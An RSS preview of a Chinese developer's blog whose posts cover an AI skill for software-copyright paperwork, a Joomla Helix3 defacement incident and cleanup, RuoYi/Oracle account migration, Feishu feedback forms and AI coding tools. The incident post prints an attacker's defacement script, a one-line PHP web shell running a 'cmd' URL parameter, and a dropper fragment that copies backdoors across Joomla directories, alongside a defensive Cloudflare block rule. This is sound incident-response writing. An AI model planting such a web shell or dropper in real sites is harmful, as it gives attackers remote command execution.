MoreRSS

site iconSunZhongWei | 孙仲维 修改

博客名「大象笔记」,全干程序员一名,曾在金山,DNSPod,腾讯云,常驻烟台。
请复制 RSS 到你的阅读器,或快速订阅到 :

Inoreader Feedly Follow Feedbin Local Reader

SunZhongWei | 孙仲维 的 RSS 预览

软著自动生成 Skill

2026-07-12 21:55:13

开源方案

https://github.com/Fokkyp/SoftwareCopyright-Skill

这个仓库有 4k 多 star,看上去非常靠谱。而且从描述看,也很专业。例如,生成 word docx 文档时:

.NET SDK 8.0+:用于启用更完整的 DOCX OpenXML 生成和校验能力。没有 .NET SDK 也可以继续使用基础 python-docx 兜底生成。

这个技术选型就很专业。

将软著 skill 安装到 github copilot

vscode 的 github copilot 聊天窗口中输入 /skills,在弹出的菜单中选择 New Skill, 然后选择 .agents/skills 目录。例如:

C:\Users\xx.agents\skills\software-copyright-materials\SKILL.md

安装 Python 及依赖

Python 3.10+

python3 -m pip install python-docx

.NET SDK 8.0+ 安装

我直接安装了个 .NET SDK 10。

>dotnet --info
.NET SDK:
 Version:           10.0.301
 Commit:            96856fd726
 Workload version:  10.0.300-manifests.b0c14421
 MSBuild version:   18.6.4+96856fd72

使用方法

使用 software-copyright-materials 生成当前项目的软件著作权申请资料

或者

/software-copyright-materials:software-copyright-materials 读取当前目录中的项目,生成软件著作权申请资料草稿

学习

这个 skill 确实专业,需要学习一下 skill 的写法。以后的软件交互确实会迎来大变革,搞不好都变成了对话的方式来交互。

在对话中引导安装的体验非常好,毫无疏漏。

PHP 网站第五次被黑,Joomla 网站显示 hacked by trenggalek6etar

2026-07-11 21:06:11

这是我第五次亲历 PHP 网站被黑,这次是 Joomla 的 Helix3 漏洞导致的。

现象

打开网站的任何页面,前几秒还是正常的,过了几秒钟,页面就变成了一个全屏的吓人标语

hacked by trenggalek6etar

但是浏览器地址栏的链接并没有变化,不是之前遇到的跳X彩网站的做法。看起来是通过前端 JS 代码篡改了页面内容。伪装很强,不容易被页面防篡改程序发现。之所以会被发现,是在 Google 分析里,看到大量的搜索来源是 hacked by trenggalek6etar。

先恢复网页显示

进入 Joomla 后台(后台居然是正常的,真的良心),Extensions › Templates › Styles › (your Helix3 style) › Custom Code › Custom Javascript

会看到一段 JS 代码

document.addEventListener("DOMContentLoaded", function(){
  document.title = "hacked by trenggalek6etar";
  document.body.innerHTML =
    '<div style="position:fixed;inset:0;'
    + 'background:#0a0a0a;z-index:2147483647">'
    + ' … HACKED BY trenggalek6etar … '
    + '</div>';
});

删除它,保存即可恢复网页显示。注意需要清楚网站缓存:

  • 一是,清除 Joomla 缓存
  • 二是,如果用了 cloudflare 的缓存规则,也需要清除所有缓存

被入侵的源头

参考下面链接里的介绍

https://htprotect.org/en/helix3

概述一下,就是 Joomla 的 Helix3 模板框架存在一个漏洞,允许攻击者上传恶意 PHP 文件到网站的模板目录、后台组件目录、插件核心目录等。攻击者利用这个漏洞,在网站上放置了一个全屏篡改信息的 JS 代码。Helix3 3.1.1 之前的版本有此漏洞,3.1.1 之后的版本修复了这个漏洞。这个漏洞是 2026 年 7 月初被发现的。没想到这么快就中招了。

堵住漏洞

由于网站太老了,无法升级 Helix3 版本,所以只能通过其他方式来规避被再次入侵。目前采用了两套方案:

第一,先禁用掉了 Helix3 - Ajax 插件,这是 Helix3 其中的一个插件,而这个插件是漏洞的源头。而且测试了一下,禁用之后,并没有影响网站的正常显示,也不影响网站中表单的提交,以及内容的发布。

第二,在 cloudflare 里配置了一个规则,拦截所有针对 Helix3 Ajax 插件的外部请求。

(http.request.uri.query contains "option=com_ajax" and http.request.uri.query contains "plugin=helix3")

当然,最稳妥的方式还是升级 Helix3 版本,升级到 3.1.1 或者更高版本。

清理服务器上的恶意文件

查看 Joomla 根目录下的目录及文件最后修改时间,会发现近期不少目录被修改过,且增加了不少随机文件名目录及文件。例如:

drwxr-xr-x 40    12288 Jul 11 02:02 tmp
-rw-r--r--  1      448 Jul 10 15:20 zzwzm.php.json
drwxr-xr-x 23     4096 Jul 10 15:20 .
-rw-r--r--  1       25 Jul  6 21:22 cox.json
drwxr-xr-x 11     4096 Jul  5 23:00 templates
drwxr-xr-x 92     4096 Jul  3 21:24 media
drwxr-xr-x  6     4096 Jul  3 15:21 cache
drwxr-xr-x  4     4096 Jul  2 21:05 gzfxw
drwxr-xr-x  4     4096 Jul  2 19:38 utavg
drwxr-xr-x  4     4096 Jul  2 14:18 jiptm

随便打开一个看看:

# cat cox.json
hacked by trenggalek6etar

templates 目录下也有不少被修改过的目录,同样多了不少随机文件名目录:

# ls -lah templates/
total 52K
drwxr-xr-x 11  4.0K Jul  5 23:00 .
drwxr-xr-x 23  4.0K Jul 10 15:20 ..
drwxr-xr-x  3  4.0K Jul  9  2024 cassiopeia
-rw-r--r--  1    25 Jul  6 21:22 cox.json
-rw-r--r--  1    31 Feb 13  2024 index.html
drwxr-xr-x  4  4.0K Jul  5 23:00 pokkvswt
drwxr-xr-x  2  4.0K Jul  3 15:21 protostar
drwxr-xr-x 13  4.0K Jul  9  2024 shaper_helixultimate
drwxr-xr-x 12  4.0K Jul  9  2024 shaper_revibe
drwxr-xr-x  2  4.0K Jul  9  2024 system
drwxr-xr-x  4  4.0K Jun 29 20:27 uhnihlor
drwxr-xr-x  4  4.0K Jul  3 15:43 viavvdvv
drwxr-xr-x  4  4.0K Jul  4 19:15 vrvetvzu

打开看看:

# cat templates/vrvetvzu/fonts/tvkuri.Php
<?php @error_reporting(0);if(!empty($_GET["cmd"])){echo @shell_exec($_GET["cmd"]);exit;}echo "SPBPWN42";?>

标准的远程命令执行后门,访问这个 PHP 文件时,如果 URL 里带上 cmd 参数,就可以执行任意命令。

还有其他的后门程序,总之应有尽有:

// Find kir.php source
$cands=array(__DIR__.'/kir.php',__DIR__.'/fonts/kir.php',dirname(__DIR__).'/fonts/kir.php',dirname(__DIR__).'/kir.php',dirname(dirn
ame(__DIR__)).'/fonts/kir.php');
$src='';
foreach($cands as $c){if(file_exists($c)&&filesize($c)>100){$src=$c;break;}}
if(!$src)die('NO_SRC');
$d=file_get_contents($src);
if(!$d||strlen($d)<100)die('NO_READ');
// Find Joomla root by looking for configuration.php
$root=false;
$dirs=array(dirname(dirname($src)),dirname(dirname(dirname($src))),dirname(dirname(dirname(dirname($src)))));
foreach($dirs as $dd){
if(file_exists($dd.'/configuration.php')){$root=$dd;break;}
}
if(!$root)$root=dirname(dirname($src));
$targets=array(
'cache/com_content/kir.php',
'images/headers/kir.php',
'images/sampledata/fruitshop/kir.php',
'images/banners/kir.php',
'plugins/system/log/kir.php',
'components/com_wrapper/views/kir.php',
'layouts/joomla/html/kir.php',
'administrator/components/com_cpanel/helpers/kir.php',
'media/plg_captcha_recaptcha/kir.php',
'libraries/vendor/phpmailer/src/kir.php',
'libraries/vendor/smautocomplete/kir.php',
'modules/mod_custom/tmpl/kir.php',
'templates/protostar/kir.php',
'tmp/.session_cache/kir.php',
'cache/page/kir.php',
);
$results=array();

然后还会发现其他地方的奇怪文件

# grep trenggalek6etar -r .
./tmp/cox.json:hacked by trenggalek6etar
./media/cox.json:hacked by trenggalek6etar
./images/16a4bcea4749ed_cox.txt:hacked by trenggalek6etar
./images/16a4bceb04530e_cox.txt:hacked by trenggalek6etar
./images/cox.json:hacked by trenggalek6etar
./images/cox.txt:hacked by trenggalek6etar

/images# ls -lat
total 11877
drwxr-xr-x 20    4096 Jul 11 04:29 ..
-rw-r--r--  1      25 Jul  6 21:22 cox.json
-rw-r--r--  1      25 Jul  6 15:50 16a4bceb04530e_cox.txt
-rw-r--r--  1      25 Jul  6 15:49 16a4bcea4749ed_cox.txt
drwxr-xr-x  1       0 Jul  5 22:59 pokkvswt
drwxr-xr-x  1       0 Jul  4 19:14 vrvetvzu
drwxr-xr-x  1       0 Jul  3 15:42 viavvdvv
drwxr-xr-x  1       0 Jul  3 07:19 sampledata
drwxr-xr-x  1       0 Jun 29 20:27 uhnihlor
-rw-r--r--  1  121732 Jun 23 23:15 cox.gif
-rw-r--r--  1      25 Jun 23 23:15 cox.txt
drwxr-xr-x  1       0 Jun 22 19:37 p66olgw3
drwxr-xr-x  1       0 Jan  4  2026 2026

最后做一波检查,看 2026年6月10日 至 7月12日 之间被改动的 PHP 文件

find . -type f -name "*.php" -newermt "2026-06-10" ! -newermt "2026-07-12" -ls

自定义样式恢复问题

黑客在利用漏洞修改了 custom js 之后,同时把之前的自定义样式重置了。
可以通过备份找到 template_styles 这个表,把数据重新导入即可。所以,数据库备份还是非常重要的。

旧系统迁移到 RuoYi 的账号系统

2026-07-10 20:19:29

RuoYi 账号表中的密码字段是否可以更改加密方案

参考下面的配置文件

framework\config\SecurityConfig.java

只要实现一个自定义的 PasswordEncoder 接口,就可以在 RuoYi 框架中使用不同的加密方案。

/**
* 身份验证实现
*/
@Bean
public AuthenticationManager authenticationManager()
{
	DaoAuthenticationProvider daoAuthenticationProvider = new DaoAuthenticationProvider();
	daoAuthenticationProvider.setUserDetailsService(userDetailsService);
	daoAuthenticationProvider.setPasswordEncoder(bCryptPasswordEncoder());   // 注入自定义加密器
	return new ProviderManager(daoAuthenticationProvider);
}

/**
* 强散列哈希加密实现
*/
@Bean
public BCryptPasswordEncoder bCryptPasswordEncoder()
{
	return new BCryptPasswordEncoder();
}

替换之后,需要注意将原来的 admin 账号的密码也要重新加密,否则无法登录。

Oracle 触发器是否能实现全量同步

触发器本身不支持对已有数据进行全量同步。触发器的设计初衷是响应DML事件(INSERT、UPDATE、DELETE),只处理当前操作的新增或修改行,不会触碰已经存在的历史数据。

  • 先做全量同步
  • 再创建增量同步触发器

通过判断两张表的数据总量来判断是否一致。

Oracle 触发器中是否可以实现 MD5 Hash 的加密算法

使用 DBMS_CRYPTO

CREATE OR REPLACE FUNCTION ACCOUNT_PWD_MD5(p_str IN VARCHAR2)
RETURN VARCHAR2
IS
BEGIN
   -- DBMS_CRYPTO.HASH 返回RAW类型,用LOWER转为小写
   RETURN LOWER(RAWTOHEX(DBMS_CRYPTO.HASH(UTL_I18N.STRING_TO_RAW(p_str, 'AL32UTF8'), DBMS_CRYPTO.HASH_MD5)));
END ACCOUNT_PWD_MD5;
/

其实用不到这个功能,因为原来的用户表中已经有了 MD5 的密码字段 PASSWD,直接使用这个字段就可以了。
不需要自己在数据库触发器里再去计算 MD5 了。

改密码问题

修改 RuoYi 的修改密码逻辑,修改密码时,直接修改旧系统账号表的密码和密码修改时间字段,依赖旧账号表的触发器来同步到 RuoYi 的账号表中。

其他的账号信息的修改,例如账号禁用,之类的操作,也可以通过修改旧系统账号表来实现,依赖触发器来同步到 RuoYi 的账号表中。

旧表插入数据错误

TRG_SYSUSER_SYNC 已编译 (出现错误)

任务已取消:
INSERT INTO xxx
ORA-04098: 触发器 'xxx.TRG_SYSUSER_SYNC' 无效且未通过重新验证
ORA-06512: 在 line 1

https://docs.oracle.com/error-help/db/ora-04098/

保存对表 "xxx"."SYSUSER" 的更改时出现一个错误:
行 1: ORA-04098: 触发器 'xxx.TRG_SYSUSER_SYNC' 无效且未通过重新验证
ORA-06512: 在 line 1

https://docs.oracle.com/error-help/db/ora-04098/

排查方法:

-- 查看当前用户下所有无效对象的编译错误
SELECT * FROM USER_ERRORS WHERE NAME = 'TRG_SYSUSER_SYNC';

显示错误:

TRG_SYSUSER_SYNC	TRIGGER	1	67	17	PL/SQL: ORA-02289: 序列不存在	ERROR	0
TRG_SYSUSER_SYNC	TRIGGER	2	6	9	PL/SQL: SQL Statement ignored	ERROR	0

估计是因为在新表插入记录时,把 user_id 字段设置为 seq_sys_user.NEXTVAL, 但是 seq_sys_user 序列还没有创建,导致触发器编译失败。

什么是 Oracle 的序列呢?难道 Oracle 没有自增索引?

序列(SEQUENCE) 是Oracle中一个独立的数据库对象,专门用来生成一系列唯一的数字。它就像一个“数字发号器”,不依附于任何特定的表。

你可以把它想象成一个全局计数器:

  • 调用 序列名.NEXTVAL 会获取下一个数字并自动递增。
  • 调用 序列名.CURRVAL 会获取当前会话最后一次获取的数字。

从 Oracle 12c 开始,Oracle终于原生支持了类似MySQL的 AUTO_INCREMENT 语法,叫做 IDENTITY 列。
之前则需要使用序列和触发器来模拟自增主键的行为。

如何创建 Oracle 序列呢?

CREATE SEQUENCE seq_sys_user
  START WITH 1
  INCREMENT BY 1
  NOCACHE
  NOCYCLE;

如何查看一个指定序列是否存在?

SELECT * FROM USER_SEQUENCES WHERE SEQUENCE_NAME = 'SEQ_SYS_USER';

果然,测试环境中没有这个序列,而生产环境却有这个序列。

创建完成后,再次插入 sysuser 表的记录,触发器就可以正常工作了。

有一点不完美的地方是,如果新表中已经有了一条记录,那么这个序列的起始值就不能从 1 开始了,否则会出现主键冲突的错误。
需要设置为 start with 当前表中最大 user_id 的值加 1。

尝试飞书多维表格开发 MES 系统的问题反馈功能

2026-07-09 18:32:25

今天尝试了一下使用飞书多维表格来开发 MES 系统的用户反馈功能。

尝试的目的

  • 公司内部在推广飞书多维表格的使用。每个人都需要想一个应用场景。我刚来不久业务也不熟悉,正好在重构 MES 系统,那么就尝试使用飞书多维表格来收集 MES 系统的用户反馈,作为一个应用场景。
  • 之前开发的一套内部的人事管理系统,我一直感觉技术选项上有问题。其实这个非常适合使用飞书多维表格来搭建。毕竟大量的字段维护,实际上由 HR 来自己添加就行了。完全不需要开发人员介入。维护成本也低。我也想借此机会验证自己的想法
  • 飞书多维表格的仪表盘,我非常感兴趣,也想试试

功能需求

  • 有新反馈时,自动飞书消息提醒我和反馈发起方
  • 问题/bug解决后,更新反馈问题状态,反馈人可以收到飞书消息提醒
  • 反馈问题可按模块、状态、优先级等维度进行统计分析
  • 也需要能支持没有飞书账号的人进行反馈。测试了一下确实可以。因为产线上很多人是没有飞书账号的。

模板还是自建

还是自建比较好,使用模板容易流于形式。

仪表盘

在建好数据表之后,并且设置了表格字段,就能通过飞书内置的 AI 自动生成仪表盘了,非常方便。

集成到网页

因为系统是用 RuoYi Vue 开发的(SpringBoot + Vue ElementUI), 所以想在前端的每个页面的底部都加上一个“问题反馈”按钮,点击按钮,就能打开一个新的前端页面,里面是飞书多维表格的反馈表单的二维码图片,图片下方提示“请打开手机飞书扫一扫,提交反馈”。
然后,下方再加上一个链接“电脑端反馈请点击这里”,显示电脑端反馈的链接。

这个页面,拥有独立的前端路由,路由路径为 /feedback,没有放在弹窗里提示,是为了方便统计这个反馈页面的打开次数。

最后花了半个小时搞定,确实非常方便,以后很多公司内部的系统开发需求,大概是不需要程序员了。。。

自动同步 GitHub copilot 和 codebuddy 的配置目录

2026-07-08 21:08:54

在当前项目的开发中,我同时使用了 GitHub copilot 和 codebuddy (公司用的是这个,但是额度有限,不够用),但是两个 AI 工具的配置目录不同,是否可以实现一个工具自动同步这两个目录呢?

首先,对比两者的项目级配置目录名字及结构的不同。

GitHub copilot 的配置目录

  • 项目级:.github/copilot-instructions.md
  • 路径级:.github/instructions/*/.instructions.md

这里路径级的意思是,针对项目中不同的路径,可以有不同的 instruction 文件。例如,在文件的开头加上

---
applyTo: "**/*.ts,**/*.tsx"
---

则是针对项目中所有的 ts 和 tsx 文件生效。

CodeBuddy 的配置目录

https://www.codebuddy.cn/docs/cli/codebuddy-dir

.codebuddy/
├── settings.json              # 项目共享配置
├── settings.local.json        # 本地个人配置(.gitignore 自动忽略)
├── CODEBUDDY.md               # 项目级记忆文件
│
├── agents/                    # 项目级自定义子代理
├── rules/                     # 项目级规则文件
├── skills/                    # 项目级技能
├── commands/                  # 自定义斜杠命令

codebuddy 这个 rules 目录跟 github copilot 的 instructions 目录并不是一回事。

.codebuddy/rules/
├── code-style.md          # 代码风格规范
├── testing.md             # 测试规范
├── security.md            # 安全要求
└── frontend/
    ├── react.md           # React 组件规范
    └── styles.md          # 样式规范

同步规则

  • 以 .codebuddy 目录为主。因为我在项目全局提示词里加入了一条规则。每当修复了一个问题,如果可以复用,就总结一下自动添加到 .codebuddy/CODEBUDDY.md 中
  • 将 .codebuddy/CODEBUDDY.md 复制到 .github/copilot-instructions.md
  • 将 .codebuddy/rules 目录下的所有文件,复制到 .github/instructions 目录下,并将文件后缀改为 .instructions.md。但是文件内容要按照 copilot 的规范来

用 Python 写一个脚本,按照上述步骤来即可。

前提是,先规整一下 .codebuddy 目录的下的所有文件,确保包含了此前 .github 目录下的所有 instruction 文件。

vscode task 配置

可以新建一个 .vscode/tasks.json 文件,配置一个任务,执行这个脚本。这样就可以通过 Ctrl+Shift+P -> Run Task 快速运行。或者直接快捷键 Ctrl+Shift+B 运行默认的 build 任务。

{
    "version": "2.0.0",
    "tasks": [
        {
            "label": "Sync AI Config",
            "type": "shell",
            "command": "python tools/sync_ai_config.py",
            "problemMatcher": [],
            "group": {
                "kind": "build",
                "isDefault": true
            },
            "presentation": {
                "reveal": "always",
                "panel": "new"
            }
        }
    ]
}

其他

我本以为可以直接通过软连接的方式就能解决,但是发现不同 AI 工具的配置目录结构也不同。所以还是写个脚本做同步比较好。

一直闷头做迁移太枯燥了,不如迁移几个功能后,把需要手动处理的操作,做成自动化工具。即可以提高效率,还能放松一下心情。

codebuddy/workbuddy 重构大型项目代码一周体会

2026-07-02 21:55:16

最近一周在重构一套十几年前的 jsp 项目,要改造成 springboot 加 vue 的技术栈。我接手了其中一个模块,大概5个子模块,十几个功能。先用 GitHub copilot 里的 Gemini 3 试写了一下,发现效果不太好,不过倒是积累了一堆 instruction 提示词。接着用 gpt 5.4 逐个子模块实现了一遍。由于我是 GitHub copilot 年费会员,还是按次计费,所以进入调试阶段,用按次计费的方式就不太合算了。

于是我切换到了公司提供的 workbuddy / codebuddy,每个月有 2000 积分额度。这种类 token 使用量计费的方式,还挺适合修复小 bug,做功能微调的。毕竟每次消耗的token 都不多,也能节省我的 GitHub copilot 配额。

但是,codebuddy 感觉还是不够成熟:
一是,里面的 DeepSeek 4 pro 模型居然有日限额。这个我非常不理解,既然都已经按积分计费了,为啥还要限制使用频率?
二是,非常不稳定,半天遇到两次,执行一会就没用响应了。也不提示超时,就卡在那里。总之,细节很不上心。估计也是不重视,投入的资源不够。
三是,看不到剩余积分,看不到具体模型的积分消耗差异,我只能开个 workbuddy 看剩余积分👀

至于 workbuddy,我不是很喜欢这种模式,毕竟这种迁移工程,需要同时打开三个 git 项目。workbuddy 只能打开一个目录作为工作空间,而不能像 vscode 中添加多个目录到工作区。我也需要不断确认重构后的 sql 是否有问题,还是 vscode 加 GitHub copilot 这种方式更适合代码重构。最终,workbuddy 沦为了我查看剩余积分的客户端🥲 对了,还有一点要吐槽,里面的混元模型简直了,弱智到让人震惊。

回到迁移重构的正题上。我发现越做效率越高。从一天一个功能,到一天八个功能。但是,我依旧没用找到能自动化测试验证迁移正确性的好方法。不够,纯靠手工测试,也不是没用益处,至少我在手工测试过程中,对业务流程有了更深的理解。而如果纯粹靠 ai 去自动执行,我可能连业务都不了解。也无从判断是否迁移成功。

前两天,有个公众号的粉丝建议我了解一下 vibecoding 工程化,我搜了一下没找到特别好的资料。但是,这一周的实践,我感觉不断把发现的问题,补充到项目全局 instruction,效率就能稳步提高。同时,需要不断把人工操作变成自动化。自动化一是能提高效率,规避人工操作的不确定性,二是能在开发过程中获得成就感,不至于沦为无脑拉磨的驴。

还有一些其他的感悟,比如在 ai 频繁修改过程中 git 使用方式也有所变化。改天再整理一篇。太困了,最近变成早晨五点起床,睡觉🌙